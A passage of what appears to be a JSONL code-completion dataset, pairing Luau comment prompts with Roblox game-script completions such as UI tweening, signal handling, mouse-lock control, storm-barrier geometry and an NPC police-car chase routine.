then\n\t\t\t\tsystemChannel:SendSystemMessage(\n\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\"GameChat_ChatService_ChatFilterIssues\",\n\t\t\t\t\t\t\"The chat filter is currently experiencing issues and messages may be slow to appear.\"\n\t\t\t\t\t),\n\t\t\t\t\terrorExtraData\n\t\t\t\t)\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal StudioMessageFilteredCache = {}\n"} +{"prompt": "-- constants", "completion": "\n\nlocal CHARACTER\t= script.Parent\nlocal HUMANOID\t= CHARACTER.Humanoid\nlocal ARMOR\t\t= HUMANOID.Armor\nlocal SLOTS\t\t= HUMANOID.ArmorSlots\n\nlocal SLOT_SIZE\t= 30\n"} +{"prompt": "--[[**\n\t\tTakes a table where keys are child names and values are functions to check the children against.\n\t\tPass an instance tree into the function.\n\t\tIf at least one child passes each check, the overall check passes.\n\n\t\tWarning! If you pass in a tree with more than one child of the same name, this function will always return false\n\n\t\t@param checkTable The table to check against\n\n\t\t@returns A function that checks an instance tree\n\t**--]]", "completion": "\n\tfunction t.children(checkTable)\n\t\tassert(checkChildren(checkTable))\n\n\t\treturn function(value)\n\t\t\tlocal instanceSuccess, instanceErrMsg = t.Instance(value)\n\t\t\tif not instanceSuccess then\n\t\t\t\treturn false, instanceErrMsg or \"\"\n\t\t\tend\n\n\t\t\tlocal childrenByName = {}\n\t\t\tfor _, child in ipairs(value:GetChildren()) do\n\t\t\t\tlocal name = child.Name\n\t\t\t\tif checkTable[name] then\n\t\t\t\t\tif childrenByName[name] then\n\t\t\t\t\t\treturn false, string.format(\"Cannot process multiple children with the same name %q\", name)\n\t\t\t\t\tend\n\n\t\t\t\t\tchildrenByName[name] = child\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfor name, check in pairs(checkTable) do\n\t\t\t\tlocal success, errMsg = check(childrenByName[name])\n\t\t\t\tif not success then\n\t\t\t\t\treturn false, string.format(\"[%s.%s] %s\", value:GetFullName(), name, errMsg or \"\")\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\tend\nend\n\nreturn t\n"} +{"prompt": "-- constants", "completion": "\n\nreturn function(character)\n\tlocal effects\t= character.Effects\n\tlocal emitters\t= {}\n\t\n\tlocal emitter1\t= script.BaseEmitter:Clone()\n\t\temitter1.Parent\t= character.Head\n\t\t\n\tlocal emitter2\t= script.FlameEmitter:Clone()\n\t\temitter2.Parent\t= character.Head\n\t\t\n\twait(5)\n\t\n\temitter1.Enabled\t= false\n\temitter2.Enabled\t= false\n\t\n\tDebris:AddItem(emitter1, 2)\n\tDebris:AddItem(emitter2, 1)\nend\n"} +{"prompt": "--- Updates state and tracking resources for new instances.", "completion": "\nfunction ScopeHierarchyItemButton:didUpdate(previousProps, previousState)\n if previousProps.Instance ~= self.props.Instance then\n self:UpdateInstanceState()\n self:StartTrackingInstance()\n end\nend\n\nfunction ScopeHierarchyItemButton:render()\n local ClassName = self.props.Instance.ClassName\n local IconPosition = ClassIconPositions[ClassName] or Vector2.new(1, 1)\n local ShouldDisplayArrow = (self.props.LayoutOrder ~= 2) or nil\n\n return new('ImageButton', {\n BackgroundTransparency = 1;\n ImageTransparency = 1;\n Size = self.ContainerSize;\n LayoutOrder = self.props.LayoutOrder;\n [Roact.Event.InputBegan] = self.OnInputBegin;\n [Roact.Event.InputEnded] = self.OnInputEnd;\n [Roact.Event.Activated] = self.OnClicked;\n },\n {\n Layout = new('UIListLayout', {\n [Roact.Ref] = self.LayoutRef;\n FillDirection = Enum.FillDirection.Horizontal;\n HorizontalAlignment = Enum.HorizontalAlignment.Left;\n VerticalAlignment = Enum.VerticalAlignment.Center;\n SortOrder = Enum.SortOrder.LayoutOrder;\n Padding = UDim.new(0, 5/2);\n });\n\n ArrowWrapper = ShouldDisplayArrow and new('Frame', {\n Size = UDim2.new(0, 38/2, 0, 38/2);\n BackgroundTransparency = 1;\n LayoutOrder = 0;\n },\n {\n Arrow = new('ImageLabel', {\n Size = UDim2.new(1, 0, 1, 0);\n BackgroundTransparency = 1;\n Image = 'rbxassetid://2244452978';\n ImageRectOffset = Vector2.new(14*3, 0) * 2;\n ImageRectSize = Vector2.new(14, 14) * 2;\n ImageTransparency = 0;\n Rotation = 90;\n });\n });\n\n InstanceInfo = new('Frame', {\n BackgroundTransparency = 1;\n Size = UDim2.new(0, self.state.InstanceNameLength + 28/2 + 10/2, 1, 0);\n LayoutOrder = 1;\n },\n {\n InstanceIcon = new('ImageLabel', {\n BackgroundTransparency = 1;\n Image = 'rbxassetid://2245672825';\n ImageRectOffset = (IconPosition - Vector2.new(1, 1)) * Vector2.new(16, 16);\n ImageRectSize = Vector2.new(16, 16);\n ImageTransparency = self.props.IsTarget and 0.5 or 0;\n AnchorPoint = Vector2.new(0, 0.5);\n Position = UDim2.new(0, 0, 0.5, 0);\n Size = UDim2.new(0, 28/2, 0, 28/2);\n LayoutOrder = 0;\n });\n InstanceName = new('TextLabel', {\n BackgroundTransparency = 1;\n Size = UDim2.new(0, self.state.InstanceNameLength, 0, 28/2);\n Position = UDim2.new(0, 28/2 + 10/2, 0.5, 0);\n AnchorPoint = Vector2.new(0, 0.5);\n Font = Enum.Font.SourceSans;\n TextSize = 33/2;\n Text = self.state.InstanceName;\n TextTransparency = self.props.IsTarget and 0.5 or 0;\n TextYAlignment = Enum.TextYAlignment.Center;\n TextColor3 = Color3.fromRGB(255, 255, 255);\n LayoutOrder = 1;\n },\n {\n TextShadow = new('TextLabel', {\n BackgroundTransparency = 1;\n Size = UDim2.new(1, 0, 1, 0);\n Position = UDim2.new(0, 0, 0, 1);\n Font = Enum.Font.SourceSans;\n TextSize = 33/2;\n Text = self.state.InstanceName;\n TextYAlignment = Enum.TextYAlignment.Center;\n TextColor3 = Color3.fromRGB(112, 112, 112);\n TextStrokeColor3 = Color3.fromRGB(112, 112, 112);\n TextTransparency = self.props.IsTarget and 1 or 0.77;\n TextStrokeTransparency = 0.77;\n ZIndex = 0;\n })\n });\n });\n\n Tooltip = new(HotkeyTooltip, {\n IsScopeParent = self.props.IsScopeParent;\n IsScope = self.props.IsScope;\n IsScopable = self.props.IsScopable;\n IsScopeLocked = self.props.IsScopeLocked;\n IsAltDown = self.props.IsAltDown;\n });\n })\nend\n\nreturn ScopeHierarchyItemButton\n"} +{"prompt": "-- for fading images", "completion": "\nfunction UITween.fadePart(object, amount, time, delay)\n\n\tlocal tweenAlpha = TweenInfo.new(\n\t\ttime, --Time\n\t\tEnum.EasingStyle.Quad, --EasingStyle\n\t\tEnum.EasingDirection.Out, --EasingDirection\n\t\t0, --Repeat count\n\t\tfalse, --Reverses if true\n\t\tdelay --Delay time\n\t)\n\n\tlocal tween = tweenService:Create(object, tweenAlpha, {Transparency = amount})\n\ttween:Play()\nend\n\nfunction UITween.fade(object, amount, time, delay)\n\t\n\tlocal tweenAlpha = TweenInfo.new(\n\t\ttime, --Time\n\t\tEnum.EasingStyle.Quad, --EasingStyle\n\t\tEnum.EasingDirection.Out, --EasingDirection\n\t\t0, --Repeat count\n\t\tfalse, --Reverses if true\n\t\tdelay --Delay time\n\t)\n\t\n\tlocal tween = tweenService:Create(object, tweenAlpha, {ImageTransparency = amount})\n\ttween:Play()\nend\n"} +{"prompt": "--[=[\n\t@param fn ConnectionFn\n\t@return SignalConnection\n\n\tConnects a function to the signal, which will be called the next time the signal fires. Once\n\tthe connection is triggered, it will disconnect itself.\n\t```lua\n\tsignal:Once(function(msg, num)\n\t\tprint(msg, num)\n\tend)\n\n\tsignal:Fire(\"Hello\", 25)\n\tsignal:Fire(\"This message will not go through\", 10)\n\t```\n]=]", "completion": "\nfunction Signal:Once(fn)\n\tlocal connection\n\tlocal done = false\n\tconnection = self:Connect(function(...)\n\t\tif done then\n\t\t\treturn\n\t\tend\n\t\tdone = true\n\t\tconnection:Disconnect()\n\t\tfn(...)\n\tend)\n\treturn connection\nend\n\nfunction Signal:GetConnections()\n\tlocal items = {}\n\tlocal item = self._handlerListHead\n\twhile item do\n\t\ttable.insert(items, item)\n\t\titem = item._next\n\tend\n\treturn items\nend\n"} +{"prompt": "-- Calculates closest point on part to player (treats part as a plane since it is not very thick), then uses SPLIT_FACTOR and\n-- maxDistanceBeforeSplitting to determine if the player is close enough to split", "completion": "\nlocal function isCloseEnoughToSplit(playerPos, stormPos, partPos, splitLevel, vertexList, stormRadius)\n\tlocal partNormal = (partPos * Vector3.new(1, 0, 1) - stormPos * Vector3.new(1, 0, 1)).Unit\n\tlocal closestPlanarPointToPlayer = playerPos - (partNormal * (partNormal:Dot(playerPos - partPos)))\n\n\t-- Calculate four side vectors\n\tlocal sides = {}\n\tfor i = 1, 4 do\n\t\tsides[i] = vertexList[(i % 4) + 1] - vertexList[i]\n\tend\n\n\t-- Calculate normals to each side by subtracting middle of part from midpoint of each side\n\tlocal normals = {}\n\tfor i = 1, 4 do\n\t\tnormals[i] = ((vertexList[i] + sides[i] / 2) - partPos).Unit\n\tend\n\n\t-- Determine whether closestPlanarPointToPlayer is towards middle or outside of each side (true = outside)\n\tlocal out = {}\n\tfor i = 1, 4 do\n\t\tout[i] = normals[i]:Dot(closestPlanarPointToPlayer - vertexList[i]) > 0\n\tend\n\n\t-- Find the closest point on the part to the player\n\tlocal closestPointOnPartToPlayer = closestPlanarPointToPlayer -- if all of 'out' array is false, closestPlanarPointToPlayer is already on part\n\tfor i = 1, 4 do\n\t\tif out[i] then\n\t\t\tif out[(i % 4) + 1] then -- if out[i+1] then set to closest vertex\n\t\t\t\tclosestPointOnPartToPlayer = vertexList[(i % 4) + 1]\n\t\t\t\tbreak\n\t\t\telseif not out[4 - ((5 - i) % 4)] then -- if not out[i-1] then set to closest point on side[i]\n\t\t\t\tclosestPointOnPartToPlayer = vertexList[i] + sides[i].Unit * sides[i].Unit:Dot(closestPlanarPointToPlayer - vertexList[i])\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\n\n\t-- Check if closestPointOnPartToPlayer is close enough to player to split the part\n\tlocal distanceFromPlayer = (closestPointOnPartToPlayer - playerPos).Magnitude\n\tif distanceFromPlayer < (FRACTION_OF_RADIUS_BEFORE_SPLITTING * stormRadius) * math.pow(SPLIT_FACTOR, splitLevel - 1) then\n\t\treturn true\n\tend\n\treturn false\nend\n\nlocal function updateBarrierPartInfo(barrierPartInfo, playerPos, stormPos, stormRadius, barrierPartID)\n\tlocal vertexList = getVertexListFromRadians(math.rad(barrierPartInfo.startDeg), math.rad(barrierPartInfo.endDeg), stormRadius, stormPos)\n\tupdatePartFromVertexList(barrierPartInfo.part, vertexList, stormPos)\n\tbarrierPartInfo.part.Rotation = Vector3.new(0, 270 - ((barrierPartInfo.startDeg + barrierPartInfo.endDeg) / 2), 0)\n\n\tif\n\t\tbarrierPartInfo.splitLevel < MAX_SPLIT_LEVEL and\n\t\tbarrierPartInfo.part.Size.X > (2 * MIN_BARRIERPART_WIDTH) and\n\t\tisCloseEnoughToSplit(playerPos, stormPos, barrierPartInfo.part.Position, barrierPartInfo.splitLevel, vertexList, stormRadius)\n\tthen -- split this barrierPart in half\n\t\t-- Create second part, add to barrierPartInfos table\n\t\tlocal newPart = barrierPartInfo.part:Clone()\n\t\tnewPart.Parent = barrierPartsFolder\n\t\tlocal newBarrierPartInfo = getBarrierPartInfo(newPart, (barrierPartInfo.endDeg + barrierPartInfo.startDeg) / 2, barrierPartInfo.endDeg,\n\t\t\t\t\t\t\t\t\t\t\t\t\t barrierPartInfo.splitLevel + 1, true, barrierPartInfo.isSecondPartBySplitLevel)\n\t\ttable.insert(barrierPartInfos, barrierPartID + 1, newBarrierPartInfo)\n\n\t\t-- Update first part\n\t\tbarrierPartInfo.splitLevel = barrierPartInfo.splitLevel + 1\n\t\tbarrierPartInfo.endDeg = (barrierPartInfo.endDeg + barrierPartInfo.startDeg) / 2\n\t\tbarrierPartInfo.isSecondPartBySplitLevel[barrierPartInfo.splitLevel] = false\n\t\tupdateBarrierPartInfo(barrierPartInfo, playerPos, stormPos, stormRadius, barrierPartID)\n\telse\n\t\tlocal nextPartInfo = barrierPartInfos[barrierPartID + 1]\n\t\tif\n\t\t\tbarrierPartInfo.splitLevel > 1 and\n\t\t\tnot barrierPartInfo.isSecondPartBySplitLevel[barrierPartInfo.splitLevel] and\n\t\t\tbarrierPartInfo.splitLevel == nextPartInfo.splitLevel\n\t\tthen -- combine this barrierPart with the next barrierPart\n\t\t\tlocal testVertexList = getVertexListFromRadians(math.rad(barrierPartInfo.startDeg), math.rad(nextPartInfo.endDeg), stormRadius, stormPos)\n\t\t\tif\n\t\t\t\tnot isCloseEnoughToSplit(playerPos, stormPos, getPositionFromVertexList(testVertexList), barrierPartInfo.splitLevel - 1, testVertexList, stormRadius) or\n\t\t\t\tbarrierPartInfo.part.Size.X < MIN_BARRIERPART_WIDTH\n\t\t\tthen\n\t\t\t\t-- Update barrierPartInfo values\n\t\t\t\ttable.remove(barrierPartInfo.isSecondPartBySplitLevel, barrierPartInfo.splitLevel)\n\t\t\t\tbarrierPartInfo.splitLevel = barrierPartInfo.splitLevel - 1\n\t\t\t\tbarrierPartInfo.endDeg = nextPartInfo.endDeg\n\n\t\t\t\t-- Destroy next part/partInfo\n\t\t\t\tnextPartInfo.part:Destroy()\n\t\t\t\ttable.remove(barrierPartInfos, barrierPartID + 1)\n\n\t\t\t\t-- Update barrierPartInfo.part\n\t\t\t\tupdatePartFromVertexList(barrierPartInfo.part, testVertexList, stormPos)\n\t\t\t\tbarrierPartInfo.part.Rotation = Vector3.new(0, 270 - ((barrierPartInfo.startDeg + barrierPartInfo.endDeg) / 2), 0)\n\t\t\tend\n\t\tend\n\tend\n\t-- Set transparency based on distance to player\n\tbarrierPartInfo.part.Transparency = math.clamp(((barrierPartInfo.part.Position - playerPos).Magnitude - TRANSPARENCY_FALLOFF_RANGE.Min) /\n\t\t\t\t\t\t\t\t\t\t(TRANSPARENCY_FALLOFF_RANGE.Max - TRANSPARENCY_FALLOFF_RANGE.Min), 0, 0.99)\nend"} +{"prompt": "--gun welds", "completion": "\nlocal boltw = mainpart:WaitForChild(\"boltweld\")\nlocal magw = mainpart:WaitForChild(\"magweld\")\nlocal trigw = mainpart:WaitForChild(\"triggerweld\")\nlocal rightgrip"} +{"prompt": "-- Initialize mesh tool", "completion": "\nlocal MeshTool = require(CoreTools.MeshTool)\nCore.AssignHotkey('H', Core.Support.Call(Core.EquipTool, MeshTool));\nCore.Dock.AddToolButton(Core.Assets.MeshIcon, 'H', MeshTool, 'MeshInfo');\n"} +{"prompt": "--\t\tprint(\"Wha \" .. pose)", "completion": "\n\t\tstopAllAnimations()\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\tif (setAngles) then\n\t\tdesiredAngle = amplitude * math.sin(time * frequency)\n\n\t\tRightShoulder:SetDesiredAngle(desiredAngle + climbFudge)\n\t\tLeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)\n\t\tRightHip:SetDesiredAngle(-desiredAngle)\n\t\tLeftHip:SetDesiredAngle(-desiredAngle)\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = getTool()\n\tif tool then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimInstance = nil\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "-- ROBLOX TODO START: implement when possible", "completion": "\nfunction picomatch.matchBase(input, glob, options, posix_: boolean?): boolean\n\terror(\"matchBase not implemented\")\n\t-- local _posix = posix_ or utils.isWindows(options)\n\n\t-- local regex = if instanceof(glob, RegExp) then glob else picomatch.makeRe(glob, options)\n\t-- -- ROBLOX FIXME: return regex:test(path:basename(input))\n\t-- return regex:test(input)\nend"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal MouseLockController = {}\nMouseLockController.__index = MouseLockController\n\nfunction MouseLockController.new()\n\tlocal self = setmetatable({}, MouseLockController)\n\n\tself.isMouseLocked = false\n\tself.savedMouseCursor = nil\n\tself.boundKeys = {Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift} -- defaults\n\n\tself.mouseLockToggledEvent = Instance.new(\"BindableEvent\")\n\n\tlocal boundKeysObj = script:FindFirstChild(\"BoundKeys\")\n\tif (not boundKeysObj) or (not boundKeysObj:IsA(\"StringValue\")) then\n\t\t-- If object with correct name was found, but it's not a StringValue, destroy and replace\n\t\tif boundKeysObj then\n\t\t\tboundKeysObj:Destroy()\n\t\tend\n\n\t\tboundKeysObj = Instance.new(\"StringValue\")\n\t\tboundKeysObj.Name = \"BoundKeys\"\n\t\tboundKeysObj.Value = \"LeftShift,RightShift\"\n\t\tboundKeysObj.Parent = script\n\tend\n\n\tif boundKeysObj then\n\t\tboundKeysObj.Changed:Connect(function(value)\n\t\t\tself:OnBoundKeysObjectChanged(value)\n\t\tend)\n\t\tself:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call\n\tend\n\n\t-- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly\n\tGameSettings.Changed:Connect(function(property)\n\t\tif property == \"ControlMode\" or property == \"ComputerMovementMode\" then\n\t\t\tself:UpdateMouseLockAvailability()\n\t\tend\n\tend)\n\n\t-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly\n\tPlayersService.LocalPlayer:GetPropertyChangedSignal(\"DevEnableMouseLock\"):Connect(function()\n\t\tself:UpdateMouseLockAvailability()\n\tend)\n\n\t-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly\n\tPlayersService.LocalPlayer:GetPropertyChangedSignal(\"DevComputerMovementMode\"):Connect(function()\n\t\tself:UpdateMouseLockAvailability()\n\tend)\n\n\tself:UpdateMouseLockAvailability()\n\n\treturn self\nend\n\nfunction MouseLockController:GetIsMouseLocked()\n\treturn self.isMouseLocked\nend\n\nfunction MouseLockController:GetBindableToggleEvent()\n\treturn self.mouseLockToggledEvent.Event\nend\n\nfunction MouseLockController:GetMouseLockOffset()\n\tlocal offsetValueObj = script:FindFirstChild(\"CameraOffset\")\n\tif offsetValueObj and offsetValueObj:IsA(\"Vector3Value\") then\n\t\treturn offsetValueObj.Value\n\telse\n\t\t-- If CameraOffset object was found but not correct type, destroy\n\t\tif offsetValueObj then\n\t\t\toffsetValueObj:Destroy()\n\t\tend\n\t\toffsetValueObj = Instance.new(\"Vector3Value\")\n\t\toffsetValueObj.Name = \"CameraOffset\"\n\t\toffsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value\n\t\toffsetValueObj.Parent = script\n\tend\n\n\tif offsetValueObj and offsetValueObj.Value then\n\t\treturn offsetValueObj.Value\n\tend\n\n\treturn Vector3.new(1.75,0,0)\nend\n\nfunction MouseLockController:UpdateMouseLockAvailability()\n\tlocal devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock\n\tlocal devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable\n\tlocal userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch\n\tlocal userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove\n\tlocal MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable\n\n\tif MouseLockAvailable~=self.enabled then\n\t\tself:EnableMouseLock(MouseLockAvailable)\n\tend\nend\n\nfunction MouseLockController:OnBoundKeysObjectChanged(newValue)\n\tself.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is \"\" or contains invalid values\n\tfor token in string.gmatch(newValue,\"[^%s,]+\") do\n\t\tfor _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do\n\t\t\tif token == keyEnum.Name then\n\t\t\t\tself.boundKeys[#self.boundKeys+1] = keyEnum\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\n\tself:UnbindContextActions()\n\tself:BindContextActions()\nend\n"} +{"prompt": "--Services", "completion": "\nlocal UIS = game:GetService(\"UserInputService\")\n\n"} +{"prompt": "-- Local Functions", "completion": "\nlocal function moveToAndWait(humanoid, targetPosition)\n\tlocal targetReached = false\n\tlocal runningThread = coroutine.running()\n\tlocal connection1 = humanoid.MoveToFinished:Connect(function(reachedTarget)\n\t\tif reachedTarget then\n\t\t\ttargetReached = true\n\t\t\tcoroutine.resume(runningThread)\n\t\tend\n\tend)\n\tlocal connection2 = humanoid:GetPropertyChangedSignal(\"MoveDirection\"):Connect(function()\n\t\thumanoid:MoveTo(targetPosition)\n\tend)\n\thumanoid:MoveTo(targetPosition)\n\tcoroutine.wrap(function()\n\t\twhile not targetReached do\n\t\t\twait(6)\n\t\t\tif not humanoid.Parent or humanoid.WalkToPoint ~= targetPosition then\n\t\t\t\tbreak\n\t\t\tend\n\t\t\thumanoid:MoveTo(targetPosition)\n\t\tend \n\tend)()\n\tcoroutine.yield()\n\tconnection1:Disconnect()\n\tconnection2:Disconnect()\nend\n"} +{"prompt": "-- ROBLOX deviation end", "completion": "\n\ntype GetPath = {\n\thasEndProp: boolean?,\n\tlastTraversedObject: any,\n\ttraversedPath: Array,\n\tvalue: any?,\n}\n"} +{"prompt": "-----------------------------------", "completion": "\n_lights = getLights()\n_signage = getSignage()\n\nwhile true do\n\tlocal timeRemaining = updateState(tick(), _lights, _signage)\n\twait(timeRemaining)\nend\n"} +{"prompt": "-- Initialization", "completion": "\nChassis.InitializeDrivingValues()\nEffectsInstance:Enable()\n\nRunService.Heartbeat:Connect(function()\n\tif Ignition and TargetHumanoid then\n\t\tlocal Root = TargetHumanoid.RootPart\n\n\t\tif Car.Chassis.FloorPanel.AssemblyLinearVelocity.Magnitude < 3 and StuckTick <= 50 then\n\t\t\tStuckTick += 1\n\t\telseif StuckTick >= 50 and ReverseTick < 100 and CheckDistance(Car.Chassis.FloorPanel.Position, Root.Position) > 50 then\n\t\t\tReverseTick += 1\n\t\t\tUpdateThrottleWithComp(-0.7)\n\t\t\tUpdateSteeringWithComp(0)\n\t\t\treturn\n\t\telse\n\t\t\tStuckTick = 0\n\t\t\tReverseTick = 0\n\t\tend\n\n\t\tif CheckDistance(Car.Chassis.FloorPanel.Position, Root.Position) < 34 and Root.AssemblyLinearVelocity.Magnitude < 16 then\n\t\t\tUpdateThrottleWithComp(0)\n\t\tend\n\n\t\tif CheckDistance(Car.Chassis.FloorPanel.Position, Root.Position) > 25 then\n\t\t\tif RaycastToPoint(Car.Chassis.FloorPanel.Position, Root.Position + Root.AssemblyLinearVelocity) == nil then\n\t\t\t\tlocal Position = FaceSteerToPosition(Root.Position + Root.AssemblyLinearVelocity) -- Target visible, drive directly and ignore raycasting\n\n\t\t\t\tif Position ~= 0 then\n\t\t\t\t\tUpdateThrottleWithComp(math.clamp(1.2 - Position, 0.55, 1))\n\t\t\t\tend\n\t\t\telseif RaycastToPoint(Car.Chassis.FloorPanel.Position, Root.Position) == nil then\n\t\t\t\tif TargetHumanoid.SeatPart:FindFirstAncestorWhichIsA(\"Model\"):GetAttribute(\"MaxSpeed\") ~= nil then --In vehicle, PIT if possible\n\t\t\t\t\tif PIT(TargetHumanoid.SeatPart:FindFirstAncestorWhichIsA(\"Model\")) == false then\n\t\t\t\t\t\tlocal Position = FaceSteerToPosition(Root.Position + Root.AssemblyLinearVelocity)\n\n\t\t\t\t\t\tif Position ~= 0 then\n\t\t\t\t\t\t\tUpdateThrottleWithComp(math.clamp(1.2 - Position, 0.55, 1))\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tlocal Position = FaceSteerToPosition(Root.Position) -- We can't drive ahead of our target, but we can drive to the target\n\n\t\t\t\t\tif Position ~= 0 then\n\t\t\t\t\t\tUpdateThrottleWithComp(math.clamp(1.2 - Position, 0.55, 1))\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse -- Obstacles detected, avoid collisions\n\t\t\t\tlocal FrontResult = Raycast(Car.Chassis.FloorPanel.Position, Car.Chassis.FloorPanel.CFrame.LookVector * RaycastDistance)\n\t\t\t\tlocal RightResult = Raycast(Car.Chassis.FloorPanel.Position, Car.Chassis.FloorPanel.CFrame.RightVector * RaycastDistance)\n\t\t\t\tlocal LeftResult = Raycast(Car.Chassis.FloorPanel.Position, Car.Chassis.FloorPanel.CFrame.RightVector * -RaycastDistance)\n\t\t\t\tlocal BackResult = Raycast(Car.Chassis.FloorPanel.Position, Car.Chassis.FloorPanel.CFrame.LookVector * -RaycastDistance)\n\n\t\t\t\tlocal FrontDistance, RightDistance, LeftDistance, BackDistance = RaycastDistance, RaycastDistance, RaycastDistance, RaycastDistance\n\n\t\t\t\tif FrontResult ~= nil then\n\t\t\t\t\tFrontDistance = CheckDistance(Car.Chassis.FloorPanel.Position, FrontResult.Position)\n\t\t\t\tend\n\n\t\t\t\tif RightResult ~= nil then\n\t\t\t\t\tRightDistance = CheckDistance(Car.Chassis.FloorPanel.Position, RightResult.Position)\n\t\t\t\tend\n\n\t\t\t\tif LeftResult ~= nil then\n\t\t\t\t\tLeftDistance = CheckDistance(Car.Chassis.FloorPanel.Position, LeftResult.Position)\n\t\t\t\tend\n\n\t\t\t\tif BackResult ~= nil then\n\t\t\t\t\tBackDistance = CheckDistance(Car.Chassis.FloorPanel.Position, BackResult.Position)\n\t\t\t\tend\n\n\t\t\t\tif (RightDistance < 50 or LeftDistance < 50) and FrontDistance > 25 and Reverse == false then\n\t\t\t\t\tif LeftDistance > RightDistance then -- Turn left\n\t\t\t\t\t\tlocal Position = UpdateSteeringWithComp(RightDistance / 50)\n\t\t\t\t\t\tUpdateThrottleWithComp(math.clamp(1.2 - Position, 0.2, 1))\n\t\t\t\t\telse\n\t\t\t\t\t\tlocal Position = UpdateSteeringWithComp(-LeftDistance / 50)\n\t\t\t\t\t\tUpdateThrottleWithComp(math.clamp(1.2 - Position, 0.2, 1))\n\t\t\t\t\tend\n\t\t\t\telseif FrontDistance <= 25 and Reverse == true then\n\t\t\t\t\tReverse = true\n\t\t\t\t\tif BackDistance >= 20 then\n\t\t\t\t\t\tUpdateThrottleToSpeed(-10)\n\t\t\t\t\t\tUpdateSteeringWithComp(0)\n\t\t\t\t\telse\n\t\t\t\t\t\tUpdateThrottleToSpeed(5)\n\t\t\t\t\t\tif LeftDistance > RightDistance then\n\t\t\t\t\t\t\tUpdateSteeringWithComp(1)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tUpdateSteeringWithComp(-1)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif FrontDistance >= 25 then\n\t\t\t\t\t\tReverse = false\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tFaceSteerToPosition(Root.Position + Root.AssemblyLinearVelocity)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\telse\n\t\tUpdateThrottleWithComp(0)\n\tend\nend)\n\nCar.SetHumanoidTarget.Event:Connect(function(target)\n\tTargetHumanoid = target\nend)\n\nCar.ToggleIgnition.Event:Connect(function(bool)\n\tIgnition = bool\nend)\n\ntask.spawn(function()\n\tlocal Sirens = {Car.Chassis.FloorPanel.Wail, Car.Chassis.FloorPanel.Yelp, Car.Chassis.FloorPanel.Priority}\n\twhile task.wait(math.random(2, 4)) do\n\t\tif Ignition and TargetHumanoid then\n\t\t\tlocal SirenToPlay = math.random(1, 3)\n\n\t\t\tfor i, v: Sound in pairs(Sirens) do\n\t\t\t\tif i == SirenToPlay then\n\t\t\t\t\tif not v.IsPlaying then\n\t\t\t\t\t\tv:Play()\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tv:Stop()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- << SET UP PLAYER DATA >>", "completion": "\nlocal getLimitPerMin = 6\nlocal getRefreshInterval = 10\nlocal getLimit = getLimitPerMin*(getRefreshInterval/60)\nlocal getRequests = {}\nspawn(function()\n\twhile true do\n\t\twait(getRefreshInterval)\n\t\tgetRequests = {}\n\tend\nend)\nfunction module:GetData(caller, retries, userId)\n\tif not getRequests[caller] then\n\t\tgetRequests[caller] = 0\n\tend\n\tgetRequests[caller] = getRequests[caller] + 1\n\tif getRequests[caller] <= getLimit then\n\t\tlocal success, data = main:GetModule(\"DataStores\"):GetData(playerDataStore, retries, userId)\n\t\treturn success, data\n\telse\n\t\t--warn(caller.Name,\"exeeded getLimit!\")\n\tend\nend\n\n\nfunction module:SetupPlayerData(player)\n\t\n\tlocal dataTemplate = getDataTemplate()\n\tlocal success, pdata = self:GetData(player, datastoreRetries, player.UserId)\n\t\n\t--Can't access DataStore\n\tif not success and not main.isStudio then\n\t\treturn nil\n\t\n\t--New player\n\telseif not pdata then\n\t\tpdata = dataTemplate\n\t\tsavePlayerData(player)\n\t\tlocal welcomeBadgeId = tonumber(main.settings.WelcomeBadgeId)\n\t\tif welcomeBadgeId and welcomeBadgeId > 0 then\n\t\t\tmain.badgeService:AwardBadge(player.UserId, welcomeBadgeId)\n\t\tend\n\t\n\t--Existing player\n\telse\n\t\tfor statName, statValue in pairs(dataTemplate) do\n\t\t\tif pdata[statName] == nil then\n\t\t\t\tpdata[statName] = statValue\n\t\t\tend\n\t\t\tif statName == 